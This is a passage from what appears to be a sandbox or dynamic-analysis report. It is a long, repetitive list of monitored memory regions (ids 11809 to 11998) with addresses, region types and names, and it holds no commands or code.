"pagefile_0x0000000000450000" filename = "" Region: id = 11809 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11810 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11811 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11812 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11813 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11814 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11815 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11816 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11817 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11818 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11819 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11820 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11821 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11822 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11823 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11824 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 11825 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 11826 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11827 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11828 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11829 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11830 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11831 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11832 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11833 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11834 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11835 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11836 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11837 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11838 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11839 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11840 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11841 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11842 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11843 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11844 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11845 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11846 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11847 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11848 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11849 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11850 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11851 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11852 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11853 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11854 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11855 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11856 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11857 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11858 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11859 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11860 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11861 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11862 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11863 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11864 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11865 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11866 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11867 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11868 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11869 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11870 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11871 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11872 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11873 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11874 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11875 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11876 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11877 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11878 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11879 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11880 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11881 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11882 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11883 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11884 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11885 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11886 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11887 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11888 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11889 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11890 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11891 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11892 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11893 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11894 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11895 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11896 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11897 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11898 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11899 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11900 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11901 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11902 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11903 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11904 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11905 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11906 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11907 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11908 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11909 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11910 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11911 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11912 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11913 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11914 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11915 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11916 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11917 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11918 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11919 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11920 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11921 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11922 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11923 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11924 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11925 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11926 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11927 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11928 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11929 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11930 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11931 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 11932 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 11933 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11934 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11935 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11936 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11937 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11938 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11939 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11940 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11941 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11942 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11943 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11944 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11945 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11946 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11947 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11948 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11949 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11950 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11951 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11952 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11953 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11954 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11955 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11956 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11957 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11958 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11959 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11960 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11961 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11962 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11963 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11964 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11965 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11966 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11967 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11968 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11969 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11970 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11971 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11972 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11973 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11974 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11975 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11976 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11977 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11978 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11979 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11980 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11981 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11982 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11983 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11984 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11985 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11986 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11987 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11988 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11989 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11990 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11991 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11992 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11993 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11994 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11995 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11996 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11997 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11998 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" 